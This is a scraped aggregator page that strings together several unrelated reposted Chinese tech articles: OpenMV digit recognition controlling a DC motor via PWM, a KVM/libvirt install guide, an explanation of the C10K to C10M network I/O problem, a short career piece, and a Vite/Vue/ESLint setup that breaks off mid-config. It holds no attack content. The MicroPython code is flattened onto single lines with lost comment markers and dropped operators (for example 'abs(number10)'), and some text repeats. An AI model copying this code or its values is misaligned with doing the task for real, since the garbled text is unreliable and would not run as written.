数字识别后控制直流电机转速from pyb import Pin, Timerimport sensor, image, time, os, tf, math, random, lcd, uos, gc 根据识别的数字输出不同占比的PWM波def run(number):if inverse == True:ain1.low()ain2.high()else:ain1.high()ain2.low()ch1.pulse_width_percent(abs(number10)) 具体参数调整自行搜索sensor.reset() 初始化感光元件sensor.set_pixformat(sensor.GRAYSCALE) set_pixformat : 设置像素模式(GRAYSCALSE : 灰色; RGB565 : 彩色)sensor.set_framesize(sensor.QQVGA2) set_framesize : 设置处理图像的大小sensor.set_windowing((128, 160)) set_windowing : 设置提取区域大小sensor.skip_frames(time = 2000) skip_frames :跳过2000ms再读取图像lcd.init() 初始化lcd屏幕。inverse = False True : 电机反转 False : 电机正转ain1 = Pin('P1', Pin.OUT_PP) 引脚P1作为输出ain2 = Pin('P4', Pin.OUT_PP) 引脚P4作为输出ain1.low() P1初始化低电平ain2.low() P4初始化低电平tim = Timer(2, freq = 1000) 采用定时器2,频率为1000Hzch1 = tim.channel(4, Timer.PWM, pin = Pin('P5'), pulse_width_percent = 100) 输出通道1 配置PWM模式下的定时器(高电平有效) 端口为P5 初始占空比为100%clock = time.clock() 设置一个时钟用于追踪FPS 加载模型try:net = tf.load("trained.tflite", load_to_fb=uos.stat('trained.tflite')[6] > (gc.mem_free() - (641024)))except Exception as e:print(e)raise Exception('Failed to load "trained.tflite", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 加载标签try:labels = [line.rstrip('\n') for line in open("labels.txt")]except Exception as e:raise Exception('Failed to load "labels.txt", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 不断的进行运行while(True):clock.tick() 更新时钟img = sensor.snapshot().binary([(0,64)]) 抓取一张图像以灰度图显示lcd.display(img) 拍照并显示图像for obj in net.classify(img, min_scale=1.0, scale_mul=0.8, x_overlap=0.5, y_overlap=0.5): 初始化最大值和标签max_num = -1max_index = -1print("\nPredictions at [x=%d,y=%d,w=%d,h=%d]" % obj.rect())img.draw_rectangle(obj.rect()) 预测值和标签写成一个列表predictions_list = list(zip(labels, obj.output())) 输出各个标签的预测值,找到最大值进行输出for i in range(len(predictions_list)):print('%s 的概率为: %f' % (predictions_list[i][0], predictions_list[i][1]))if predictions_list[i][1] > max_num:max_num = predictions_list[i][1]max_index = int(predictions_list[i][0])run(max_index)print('该数字预测为:%d' % max_index)print('FPS为:', clock.fps())print('PWM波占空比为: %d%%' % (max_index10)) 2. 采用器件 使用的器件为OpenMV4 H7 Plus和L298N以及常用的直流电机。关键是找到器件的引脚图,再进行简单的连线即可。 参考文章:【L298N驱动模块学习笔记】–openmv驱动 参考文章:【openmv】原理图 引脚图 2. 注意事项 上述代码中我用到了lcd屏幕,主要是为了方便离机操作。使用过程中,OpenMV的lcd初始化时会重置端口,所有我们在输出PWM波的时候一定不要发生引脚冲突。我们可以在OpenMV官网查看lcd用到的端口: 可以看到上述用到的是P0、P2、P3、P6、P7和P8。所有我们输出PWM波时要避开这些端口。下面是OpenMV的PWM资源: 总结 本人第一次自己做东西也是第一次使用python,所以代码和项目写的都很粗糙,只是简单的识别数字控制直流电机。我也是四处借鉴修改后写下的大小,这篇文章主要是为了给那些像我一样的小白们提供一点帮助,减少大家查找资料的时间。模型的缺陷以及改进方法上述中已经说明,如果我有写错或者大家有更好的方法欢迎大家告诉我,大家一起进步! 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_57100435/article/details/130740351。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-10 08:44:41
283
转载
转载文章
...:解决资源利用率低的问题 桌面虚拟化:有一些弊端,图形显示层面会有问题 应用虚拟化:没接触过,公司比较穷买不起,基本上只有银行等国企才会用Xenapp ICA 八、虚拟化工具KVM介绍 KVM 全称:Kernel-based Virtual Machine(内核级虚拟化机器) 原本由以色列人创建,现在被红帽收购 ESXI 虚拟套件,现在是免费使用 VMware vSphere Hypervisor – 安装和配置 提示:一台服务器首选ESXI 九、KVM安装 调整虚拟机 虚拟化Intel使用的是Intel VT-X ; 虚拟化AMD使用的是AMD-V 创建虚拟机步骤 1.准备虚拟机硬盘 2.需要系统iso镜像3.需要安装一个vnc的客户端来连接 查看系统环境 [root@linux-node1 ~] cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) [root@linux-node1 ~] uname -r 3.10.0-327.36.2.el7.x86_64 检查是否有vmx或者svm [root@linux-node1 ~] grep -E '(vmx|svm)' /proc/cpuinfo 安装kvm用户态模块 [root@linux-node1 ~] yum list|grep kvm libvirt-daemon-kvm.x86_64 1.2.17-13.el7_2.5 updates pcp-pmda-kvm.x86_64 3.10.6-2.el7 base qemu-kvm.x86_64 10:1.5.3-105.el7_2.7 updates qemu-kvm-common.x86_64 10:1.5.3-105.el7_2.7 updates qemu-kvm-tools.x86_64 10:1.5.3-105.el7_2.7 updates [root@linux-node1 ~] yum install qemu-kvm qemu-kvm-tools libvirt -y libvirt 用来管理kvm kvm属于内核态,不需要安装。但是需要一些类似于依赖的 kvm属于内核态,不需要安装。但是需要安装一些类似于依赖的东西 启动 [root@linux-node1 ~] systemctl start libvirtd.service [root@linux-node1 ~] systemctl enable libvirtd.service 启动之后我们可以使用ifconfig进行查看,libvirtd已经为我们安装了一个桥接网卡 libvirtd为我们启动了一个dnsmasqp,这个主要是用来dhcp连接的,这个工具会给我们的虚拟机分配IP地址 [root@linux-node1 ~] ps -ef|grep dns nobody 5233 1 0 14:27 ? 00:00:00 /sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro --dhcp-script=/usr/libexec/libvirt_leaseshelper root 5234 5233 0 14:27 ? 00:00:00 /sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro --dhcp-script=/usr/libexec/libvirt_leaseshelperoot 5310 2783 0 14:31 pts/0 00:00:00 grep --color=auto dns 查看磁盘空间大小 最好是20G以上 [root@linux-node1 tmp] df -h 上传镜像 提示:如果使用rz上传镜像可能会出现错误,所以我们使用dd命令,复制系统的镜像。只需要挂载上光盘即可 [root@linux-node1 opt] dd if=/dev/cdrom of=/opt/CentOS-7.2.iso [root@linux-node1 opt] ll total 33792 -rw-r--r-- 1 root root 34603008 Jun 12 18:18 CentOS-7.2-x86_64-DVD-1511.iso 下载VNC 下载地址:http://www.tightvnc.com/download/2.8.5/tightvnc-2.8.5-gpl-setup-64bit.msi 安装完VNC如下图 创建磁盘 提示: qemu-img软件包是我们安装qemu-kvm-tools 依赖给安装上的 [root@linux-node1 opt] qemu-img create -f raw /opt/CentOS-7.2-x86_64.raw 10GFormatting '/opt/Centos-7-x86_64.raw', fmt=raw size=10737418240 [root@linux-node1 opt] [root@linux-node1 opt] ll /opt/Centos-7-x86_64.raw -rw-r--r-- 1 root root 10737418240 Oct 26 14:53 /opt/Centos-7-x86_64.raw-f 制定虚拟机格式,raw是裸磁盘/opt/Centos 存放路径 10G 代表镜像大小 安装启动虚拟机的包 [root@linux-node1 tmp] yum install -y virt-install 安装虚拟机 [root@linux-node1 tmp] virt-install --help 我们可以指定虚拟机的CPU、磁盘、内存等 [root@linux-node1 opt] virt-install --name CentOS-7.2-x86_64 --virt-type kvm --ram 1024 --cdrom=/opt/CentOS-7.2.iso --disk path=/opt/CentOS-7.2-x86_64.raw --network network=default --graphics vnc,listen=0.0.0.0 --noautoconsole --name = 给虚拟机起个名字 --ram = 内存大小 --cdrom = 镜像位置,就是我们上传iso镜像的位置,我放在/tmp下了 --disk path = 指定磁盘--network network= 网络配置 default 就会用我们刚刚ifconfig里面桥接的网卡--graphics vnc,listen= 监听vnc, 分区说明 提示:我们不分交换分区,因为公有云上的云主机都是没有交换分区的 十、Libvirt介绍 libvirt是一个开源免费管理工具,可以管理KVM、VMware等 他需要起一个后台的进程,它提供了API。像openstack就是通过libvirt API来管理虚拟机 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vcp4lgAZ-1596980494935)(libvirt.jpg)] 二、KVM虚拟机和VMware区别 虚拟机监控程序(KVM)是虚拟化平台的根基。从传统供应商到各种开源替代品,可供选择的虚拟机监控程序有很多。 VMware 是一款实现虚拟化的热门产品,可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。 基于内核的虚拟机(KVM)则是 Linux® 系统上的一种开源解决方案。 VMware vSphere 与 VMware ESXi VMware 可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。VMware ESXi 是一个能够直接安装到物理服务器上的裸机虚拟机监控程序,可以帮你整合硬件。你可以用 VMware 的虚拟化技术来创建和部署虚拟机(VM),从而现代化改造自己的基础架构,来交付和管理各种新旧应用。 选用 VMware vSphere 后,你需要使用 VMware 的控制堆栈来管理虚拟机,而且有多个许可证授权级别可供使用。 KVM 开源虚拟化技术 KVM 是一种开源虚拟化技术,能将 Linux 内核转变成可以实现虚拟化的虚拟机监控程序,而且可以替代专有的虚拟化技术(比如 VMware 提供的专有虚拟化技术)。 迁移到基于 KVM 的虚拟化平台,你就可以检查、修改和完善虚拟机监控程序背后的源代码。能够访问源代码,就如同掌握了开启无限可能的钥匙,能够让你虚拟化传统工作负载和应用,并为云原生和基于容器的工作负载奠定基础。由于 KVM 内置于 Linux 内核中,所以使用和部署起来非常方便。 KVM 虚拟机和 VMware vSphere 的主要区别 VMware 可以提供一个完善稳定的虚拟机监控程序,以及出色的性能和多样化的功能。但是,专有虚拟化会阻碍你获得开展云、容器和自动化投资所需的资源。解除供应商锁定,你就可以任享自由、灵活与丰富的资源,从而为未来的云原生和容器化环境打下基础。 生产就绪型的 KVM 具有支持物理和虚拟基础架构的功能,可以让你以更低的运营成本为企业工作负载提供支持。相比使用 VMware vSphere 等其他解决方案,选用基于 KVM 的虚拟化选项能够带来很多优势。 开源Linux KVM的优势: 更低的总拥有成本,从而省下运营预算,用来探索现代化创新技术。 不再受供应商捆绑。无需为不用的产品付费,也不会受到软件选择限制。 跨平台互操作性:KVM 可以在 Linux 和 Windows 平台上运行,所以你可以充分利用现有的基础架构投资。 出色简便性:可以通过单个虚拟化平台,在数百个其他硬件或软件上创建、启动、停止、暂停、迁移和模板化数百个虚拟机。 卓越性能:应用在 KVM 上的运行速度比其他虚拟机监控程序都快。 开源优势:不但能访问源代码,还能灵活地与各种产品集成。 享受 Linux 操作系统的现有功能: 安全防护功能 内存管理 进程调度器 设备驱动程序 网络堆栈 红帽 KVM 企业级虚拟化的优势 选择红帽® 虚拟化,就等于选择了 KVM。红帽虚拟化是一款适用于虚拟化服务器和技术工作站的完整基础架构解决方案。红帽虚拟化基于强大的红帽企业 Linux® 平台和 KVM 构建而成,能让你轻松、敏捷、安全地使用资源密集型虚拟化工作负载。红帽虚拟化可凭借更加优越的性能、具有竞争力的价格和值得信赖的红帽环境,帮助企业优化 IT 基础架构。 红帽的虚拟化产品快速、经济、高效,能够帮助你从容应对当前的挑战,并为未来的技术发展奠定基础。VMware 等供应商提供的纵向扩展虚拟化解决方案不但成本高昂,而且无法帮助企业完成所需的转型,因而难以支持在混合云中运行云原生应用。要转而部署混合云环境,第一步要做的就是摆脱专有虚拟化。 红帽虚拟化包含 sVirt 和安全增强型 Linux(SELinux),是红帽企业 Linux 专为检测和预防当前 IT 环境中的复杂安全隐患而开发的技术。 业完成所需的转型,因而难以支持在混合云中运行云原生应用。要转而部署混合云环境,第一步要做的就是摆脱专有虚拟化。 红帽虚拟化包含 sVirt 和安全增强型 Linux(SELinux),是红帽企业 Linux 专为检测和预防当前 IT 环境中的复杂安全隐患而开发的技术。 借助红帽虚拟化,你可以尽享开源虚拟机监控程序的所有优势,还能获得企业级技术支持、更新和补丁,使你的环境保持最新状态,持续安心运行。开源和 RESTful API,以及 Microsoft Windows 的认证,可帮你实现跨平台的互操作性。提供的 API 和软件开发工具包(SDK)则有助于将我们的解决方案扩展至你现有和首选管理工具,并提供相关支持。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_34799070/article/details/107900861。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-06 08:58:59
122
转载
转载文章
...并发连接 1 万)的问题 C1000K 是单机支持处理 100 万个请求(并发连接 100 万)的问题。 C10K C10K 问题最早由 Dan Kegel 在 1999 年提出。那时的服务器还只是 32 位系统,运行着 Linux 2.2 版本(后来又升级到了 2.4 和 2.6,而 2.6 才支持 x86_64),只配置了很少的内存(2GB)和千兆网卡。 怎么在这样的系统中支持并发 1 万的请求呢? 从资源上来说,对 2GB 内存和千兆网卡的服务器来说,同时处理 10000 个请求,只要每个请求处理占用不到 200KB(2GB/10000)的内存和 100Kbit (1000Mbit/10000)的网络带宽就可以。 物理资源是足够的,是软件的问题,特别是网络的 I/O 模型问题。 I/O 的模型,文件 I/O和网络 I/O 模型也类似。 在 C10K 以前,Linux 中网络处理都用同步阻塞的方式,也就是每个请求都分配一个进程或者线程。 请求数只有 100 个时,这种方式自然没问题,但增加到 10000 个请求时,10000 个进程或线程的调度、上下文切换乃至它们占用的内存,都会成为瓶颈。 每个请求分配一个线程的方式不合适,为了支持 10000 个并发请求,有两个问题需要我们解决 第一,怎样在一个线程内处理多个请求,也就是要在一个线程内响应多个网络 I/O。以前的同步阻塞方式下,一个线程只能处理一个请求,到这里不再适用,是不是可以用非阻塞 I/O 或者异步 I/O 来处理多个网络请求呢? 第二,怎么更节省资源地处理客户请求,也就是要用更少的线程来服务这些请求。是不是可以继续用原来的 100 个或者更少的线程,来服务现在的 10000 个请求呢? I/O 模型优化 异步、非阻塞 I/O 的解决思路是我们在网络编程中经常用到的 I/O 多路复用(I/O Multiplexing) 两种 I/O 事件通知的方式:水平触发和边缘触发,它们常用在套接字接口的文件描述符中。 水平触发:只要文件描述符可以非阻塞地执行 I/O ,就会触发通知。也就是说,应用程序可以随时检查文件描述符的状态,然后再根据状态,进行 I/O 操作。 边缘触发:只有在文件描述符的状态发生改变(也就是 I/O 请求达到)时,才发送一次通知。这时候,应用程序需要尽可能多地执行 I/O,直到无法继续读写,才可以停止。如果 I/O 没执行完,或者因为某种原因没来得及处理,那么这次通知也就丢失了。 I/O 多路复用的方法有很多实现方法,我带你来逐个分析一下。 第一种,使用非阻塞 I/O 和水平触发通知,比如使用 select 或者 poll。 根据刚才水平触发的原理,select 和 poll 需要从文件描述符列表中,找出哪些可以执行 I/O ,然后进行真正的网络 I/O 读写。由于 I/O 是非阻塞的,一个线程中就可以同时监控一批套接字的文件描述符,这样就达到了单线程处理多请求的目的。所以,这种方式的最大优点,是对应用程序比较友好,它的 API 非常简单。 但是,应用软件使用 select 和 poll 时,需要对这些文件描述符列表进行轮询,这样,请求数多的时候就会比较耗时。并且,select 和 poll 还有一些其他的限制。 select 使用固定长度的位相量,表示文件描述符的集合,因此会有最大描述符数量的限制。比如,在 32 位系统中,默认限制是 1024。并且,在 select 内部,检查套接字状态是用轮询的方法,再加上应用软件使用时的轮询,就变成了一个 O(n^2) 的关系。 而 poll 改进了 select 的表示方法,换成了一个没有固定长度的数组,这样就没有了最大描述符数量的限制(当然还会受到系统文件描述符限制)。但应用程序在使用 poll 时,同样需要对文件描述符列表进行轮询,这样,处理耗时跟描述符数量就是 O(N) 的关系。 除此之外,应用程序每次调用 select 和 poll 时,还需要把文件描述符的集合,从用户空间传入内核空间,由内核修改后,再传出到用户空间中。这一来一回的内核空间与用户空间切换,也增加了处理成本。 有没有什么更好的方式来处理呢?答案自然是肯定的。 第二种,使用非阻塞 I/O 和边缘触发通知,比如 epoll。既然 select 和 poll 有那么多的问题,就需要继续对其进行优化,而 epoll 就很好地解决了这些问题。 epoll 使用红黑树,在内核中管理文件描述符的集合,这样,就不需要应用程序在每次操作时都传入、传出这个集合。 epoll 使用事件驱动的机制,只关注有 I/O 事件发生的文件描述符,不需要轮询扫描整个集合。 不过要注意,epoll 是在 Linux 2.6 中才新增的功能(2.4 虽然也有,但功能不完善)。由于边缘触发只在文件描述符可读或可写事件发生时才通知,那么应用程序就需要尽可能多地执行 I/O,并要处理更多的异常事件。 第三种,使用异步 I/O(Asynchronous I/O,简称为 AIO)。 在前面文件系统原理的内容中,我曾介绍过异步 I/O 与同步 I/O 的区别。异步 I/O 允许应用程序同时发起很多 I/O 操作,而不用等待这些操作完成。而在 I/O 完成后,系统会用事件通知(比如信号或者回调函数)的方式,告诉应用程序。这时,应用程序才会去查询 I/O 操作的结果。 异步 I/O 也是到了 Linux 2.6 才支持的功能,并且在很长时间里都处于不完善的状态,比如 glibc 提供的异步 I/O 库,就一直被社区诟病。同时,由于异步 I/O 跟我们的直观逻辑不太一样,想要使用的话,一定要小心设计,其使用难度比较高。 工作模型优化 了解了 I/O 模型后,请求处理的优化就比较直观了。 使用 I/O 多路复用后,就可以在一个进程或线程中处理多个请求,其中,又有下面两种不同的工作模型。 第一种,主进程 + 多个 worker 子进程,这也是最常用的一种模型。这种方法的一个通用工作模式就是:主进程执行 bind() + listen() 后,创建多个子进程;然后,在每个子进程中,都通过 accept() 或 epoll_wait() ,来处理相同的套接字。 比如,最常用的反向代理服务器 Nginx 就是这么工作的。它也是由主进程和多个 worker 进程组成。主进程主要用来初始化套接字,并管理子进程的生命周期;而 worker 进程,则负责实际的请求处理。我画了一张图来表示这个关系。 这里要注意,accept() 和 epoll_wait() 调用,还存在一个惊群的问题。换句话说,当网络 I/O 事件发生时,多个进程被同时唤醒,但实际上只有一个进程来响应这个事件,其他被唤醒的进程都会重新休眠。 其中,accept() 的惊群问题,已经在 Linux 2.6 中解决了; 而 epoll 的问题,到了 Linux 4.5 ,才通过 EPOLLEXCLUSIVE 解决。 为了避免惊群问题, Nginx 在每个 worker 进程中,都增加一个了全局锁(accept_mutex)。这些 worker 进程需要首先竞争到锁,只有竞争到锁的进程,才会加入到 epoll 中,这样就确保只有一个 worker 子进程被唤醒。 不过,根据前面 CPU 模块的学习,你应该还记得,进程的管理、调度、上下文切换的成本非常高。那为什么使用多进程模式的 Nginx ,却具有非常好的性能呢? 这里最主要的一个原因就是,这些 worker 进程,实际上并不需要经常创建和销毁,而是在没任务时休眠,有任务时唤醒。只有在 worker 由于某些异常退出时,主进程才需要创建新的进程来代替它。 当然,你也可以用线程代替进程:主线程负责套接字初始化和子线程状态的管理,而子线程则负责实际的请求处理。由于线程的调度和切换成本比较低,实际上你可以进一步把 epoll_wait() 都放到主线程中,保证每次事件都只唤醒主线程,而子线程只需要负责后续的请求处理。 第二种,监听到相同端口的多进程模型。在这种方式下,所有的进程都监听相同的接口,并且开启 SO_REUSEPORT 选项,由内核负责将请求负载均衡到这些监听进程中去。这一过程如下图所示。 由于内核确保了只有一个进程被唤醒,就不会出现惊群问题了。比如,Nginx 在 1.9.1 中就已经支持了这种模式。 不过要注意,想要使用 SO_REUSEPORT 选项,需要用 Linux 3.9 以上的版本才可以。 C1000K 基于 I/O 多路复用和请求处理的优化,C10K 问题很容易就可以解决。不过,随着摩尔定律带来的服务器性能提升,以及互联网的普及,你并不难想到,新兴服务会对性能提出更高的要求。 很快,原来的 C10K 已经不能满足需求,所以又有了 C100K 和 C1000K,也就是并发从原来的 1 万增加到 10 万、乃至 100 万。从 1 万到 10 万,其实还是基于 C10K 的这些理论,epoll 配合线程池,再加上 CPU、内存和网络接口的性能和容量提升。大部分情况下,C100K 很自然就可以达到。 那么,再进一步,C1000K 是不是也可以很容易就实现呢?这其实没有那么简单了。 首先从物理资源使用上来说,100 万个请求需要大量的系统资源。比如, 假设每个请求需要 16KB 内存的话,那么总共就需要大约 15 GB 内存。 而从带宽上来说,假设只有 20% 活跃连接,即使每个连接只需要 1KB/s 的吞吐量,总共也需要 1.6 Gb/s 的吞吐量。千兆网卡显然满足不了这么大的吞吐量,所以还需要配置万兆网卡,或者基于多网卡 Bonding 承载更大的吞吐量。 其次,从软件资源上来说,大量的连接也会占用大量的软件资源,比如文件描述符的数量、连接状态的跟踪(CONNTRACK)、网络协议栈的缓存大小(比如套接字读写缓存、TCP 读写缓存)等等。 最后,大量请求带来的中断处理,也会带来非常高的处理成本。这样,就需要多队列网卡、中断负载均衡、CPU 绑定、RPS/RFS(软中断负载均衡到多个 CPU 核上),以及将网络包的处理卸载(Offload)到网络设备(如 TSO/GSO、LRO/GRO、VXLAN OFFLOAD)等各种硬件和软件的优化。 C1000K 的解决方法,本质上还是构建在 epoll 的非阻塞 I/O 模型上。只不过,除了 I/O 模型之外,还需要从应用程序到 Linux 内核、再到 CPU、内存和网络等各个层次的深度优化,特别是需要借助硬件,来卸载那些原来通过软件处理的大量功能。 C10M 显然,人们对于性能的要求是无止境的。再进一步,有没有可能在单机中,同时处理 1000 万的请求呢?这也就是 C10M 问题。 实际上,在 C1000K 问题中,各种软件、硬件的优化很可能都已经做到头了。特别是当升级完硬件(比如足够多的内存、带宽足够大的网卡、更多的网络功能卸载等)后,你可能会发现,无论你怎么优化应用程序和内核中的各种网络参数,想实现 1000 万请求的并发,都是极其困难的。 究其根本,还是 Linux 内核协议栈做了太多太繁重的工作。从网卡中断带来的硬中断处理程序开始,到软中断中的各层网络协议处理,最后再到应用程序,这个路径实在是太长了,就会导致网络包的处理优化,到了一定程度后,就无法更进一步了。 要解决这个问题,最重要就是跳过内核协议栈的冗长路径,把网络包直接送到要处理的应用程序那里去。这里有两种常见的机制,DPDK 和 XDP。 第一种机制,DPDK,是用户态网络的标准。它跳过内核协议栈,直接由用户态进程通过轮询的方式,来处理网络接收。 说起轮询,你肯定会下意识认为它是低效的象征,但是进一步反问下自己,它的低效主要体现在哪里呢?是查询时间明显多于实际工作时间的情况下吧!那么,换个角度来想,如果每时每刻都有新的网络包需要处理,轮询的优势就很明显了。比如: 在 PPS 非常高的场景中,查询时间比实际工作时间少了很多,绝大部分时间都在处理网络包; 而跳过内核协议栈后,就省去了繁杂的硬中断、软中断再到 Linux 网络协议栈逐层处理的过程,应用程序可以针对应用的实际场景,有针对性地优化网络包的处理逻辑,而不需要关注所有的细节。 此外,DPDK 还通过大页、CPU 绑定、内存对齐、流水线并发等多种机制,优化网络包的处理效率。 第二种机制,XDP(eXpress Data Path),则是 Linux 内核提供的一种高性能网络数据路径。它允许网络包,在进入内核协议栈之前,就进行处理,也可以带来更高的性能。XDP 底层跟我们之前用到的 bcc-tools 一样,都是基于 Linux 内核的 eBPF 机制实现的。 XDP 的原理如下图所示: 你可以看到,XDP 对内核的要求比较高,需要的是 Linux 4.8 以上版本,并且它也不提供缓存队列。基于 XDP 的应用程序通常是专用的网络应用,常见的有 IDS(入侵检测系统)、DDoS 防御、 cilium 容器网络插件等。 总结 C10K 问题的根源,一方面在于系统有限的资源;另一方面,也是更重要的因素,是同步阻塞的 I/O 模型以及轮询的套接字接口,限制了网络事件的处理效率。Linux 2.6 中引入的 epoll ,完美解决了 C10K 的问题,现在的高性能网络方案都基于 epoll。 从 C10K 到 C100K ,可能只需要增加系统的物理资源就可以满足;但从 C100K 到 C1000K ,就不仅仅是增加物理资源就能解决的问题了。这时,就需要多方面的优化工作了,从硬件的中断处理和网络功能卸载、到网络协议栈的文件描述符数量、连接状态跟踪、缓存队列等内核的优化,再到应用程序的工作模型优化,都是考虑的重点。 再进一步,要实现 C10M ,就不只是增加物理资源,或者优化内核和应用程序可以解决的问题了。这时候,就需要用 XDP 的方式,在内核协议栈之前处理网络包;或者用 DPDK 直接跳过网络协议栈,在用户空间通过轮询的方式直接处理网络包。 当然了,实际上,在大多数场景中,我们并不需要单机并发 1000 万的请求。通过调整系统架构,把这些请求分发到多台服务器中来处理,通常是更简单和更容易扩展的方案。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_23864697/article/details/114626793。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-11 18:25:52
261
转载
转载文章
...展与变革,类似的职业路径选择与个人成长故事愈发常见。 当前,互联网行业正面临新一轮的转型升级,从人工智能、云计算到大数据分析,新兴技术领域的崛起为技术人员提供了更为广阔的发展舞台。例如,在字节跳动等头部互联网企业中,技术研发人员不仅能够参与到创新项目中,还可能获得丰厚的股权激励,实现个人财富和职业价值的双重提升(参考《字节跳动员工持股计划:释放的价值与激励机制解读》)。 此外,对于技术人员而言,持续学习与技术积累显得尤为关键。近日,《中国程序员技术能力现状与发展趋势报告》指出,随着容器化、微服务架构的广泛应用,以及Docker、Kubernetes等技术的普及,对底层网络工作原理的理解和应用能力成为衡量开发人员技术水平的重要标准之一。 同时,团队协作与领导力培养也日益受到重视。据《哈佛商业评论》近期文章所述,在现代企业中,具有主动发现问题、解决问题意识,并能带领团队共同创新的技术管理者,往往能在组织内部获得更快的成长和更高的认可度。 综上所述,无论是在选择行业赛道还是在实际工作中,技术人才都应紧跟时代潮流,深化专业技能,积极主动地挖掘潜在问题并寻求解决方案,从而在快速变化的互联网行业中取得长足发展。而类似于张彦飞allen这样的经历分享,无疑为后来者提供了宝贵的经验借鉴和启示。
2023-02-06 11:38:24
233
转载
转载文章
...到tsx语法糖编译的问题,这里就得用到@vitejs/plugin-vue-jsx插件,详细用法参考github文档,安装后,在vite的plugin中直接调用即可; import { defineConfig } from 'vite'import vue from '@vitejs/plugin-vue'import vueJsx from '@vitejs/plugin-vue-jsx'// https://vitejs.dev/config/export default defineConfig({plugins: [vue(), vueJsx()]}) 2、安装tailwindcss 关于tailwindcss + vite方案,它的官网有了很友好的方案,这块大家按部就班的安装就够了,没有多少复杂度,参考地址,选择tailwindcss主要是它提供了一些快速样式,比如padding、margin、background等,如果我们项目是后台管理系统,tailwindcss会大大降低我们写css样式的工作,大家可以去学习一波在项目中用起来,熟悉了以后就觉得他是在是太方便了。 这里不做用法的介绍,就推荐一个vscode插件Tailwind CSS IntelliSense,安装后,在项目中我们就可以只能提示,如下所示: 3、关于eslint + prettier 代码统一规范 关于代码规范,一般小一点公司不太会做这方面的工程化配置,但是eslint等这些代码规范工具,会让我们团队的代码更规范,风格更统一,团队协作更加方便,我简单说一下配置eslint及prettier的办法 (1)首先安装eslint工具库 pnpm add eslint -D pnpm eslint --init (2)安装外部的语法eslint规范及import校验规范 选择对应的项目内容,这里我的项目用到(vue, typescript,browser)这个,当然有这个还不够,我们需要安装如下两个工具包 pnpm add eslint-plugin-import // 主要对于es与typescript import 路径的一个eslint校验 pnpm add eslint-config-airbnb-base // 这个是airbnb出的一套eslint语法规范的工具库,如果自己公司没有对应的代码规范,这个是很实用的一套 (3)编写vue3相关的规范 项目中我们用到的是eslint-plugin-vue这个vue代码校验规范工具,里面有很多内容及配置项功能,我们这里推荐大家在配置代码规范,可以参考官方的说明文档,链接放在这里; (4)安装和配置prettier 这个相对来讲比较简单一些,我们直接安装pnpm add eslint-plugin-prettier eslint-config-prettier prettier -D,这里我们需要注意的是prettier与eslint冲突问题; 上面是配置时候的基本流程,最终结果我将eslintrc文件及package.json文件放到这里,有需要的朋友,可以直接copy一份去配置,毕竟这个配置很臭很长,深入学习感觉又没有太大必要(23333~) {"name": "vue-tsx-template","private": true,"version": "0.0.0","scripts": {"dev": "vite","build": "vue-tsc --noEmit && vite build","preview": "vite preview","fix": "eslint --fix --ext .js,.jsx,.tsx,.vue src && prettier "},"dependencies": {"vue": "^3.2.25"},"devDependencies": {"@typescript-eslint/eslint-plugin": "^5.23.0","@typescript-eslint/parser": "^5.23.0","@vitejs/plugin-vue": "^2.3.3","@vitejs/plugin-vue-jsx": "^1.3.10","autoprefixer": "^10.4.7","eslint": "^8.15.0","eslint-config-airbnb-base": "^15.0.0","eslint-config-prettier": "^8.5.0","eslint-plugin-import": "^2.26.0","eslint-plugin-prettier": "^4.0.0","eslint-plugin-vue": "^8.7.1","postcss": "^8.4.13","prettier": "^2.6.2","sass": "^1.51.0","tailwindcss": "^3.0.24","typescript": "^4.5.4","vite": "^2.9.9","vue-eslint-parser": "^9.0.1","vue-tsc": "^0.34.7"} } 下面是.eslintrc.js文件 module.exports = {env: {browser: true,es2021: true,node: true,// 处理 defineProps 报错'vue/setup-compiler-macros': true,},extends: ['eslint:recommended','airbnb-base','prettier','plugin:prettier/recommended','plugin:vue/vue3-recommended','plugin:@typescript-eslint/recommended','plugin:import/recommended','plugin:import/typescript',],parser: 'vue-eslint-parser',parserOptions: {ecmaVersion: 'latest',parser: '@typescript-eslint/parser',sourceType: 'module',},plugins: ['vue', '@typescript-eslint'],rules: {// 防止prettier与eslint冲突'prettier/prettier': 'error',// eslint-plugin-import es module导入eslint规则配置,旨在规避拼写错误问题'import/no-unresolved': 0,'import/extensions': ['error',{js: 'never',jsx: 'never',ts: 'never',tsx: 'never',json: 'always',},],// 使用导出的名称作为默认属性(主要用作导出模块内部有 default, 和直接导出两种并存情况下,会出现default.proptry 这种问题从在的情况)'import/no-named-as-default-member': 0,'import/order': ['error', { 'newlines-between': 'always' }],// 导入确保是否在首位'import/first': 0,// 如果文件只有一个导出,是否开启强制默认导出'import/prefer-default-export': 0,'import/no-extraneous-dependencies': ['error',{devDependencies: [],optionalDependencies: false,},],/ 关于typescript语法校验 参考文档: https://www.npmjs.com/package/@typescript-eslint/eslint-plugin/'@typescript-eslint/no-extra-semi': 0,// 是否禁止使用any类型'@typescript-eslint/no-explicit-any': 0,// 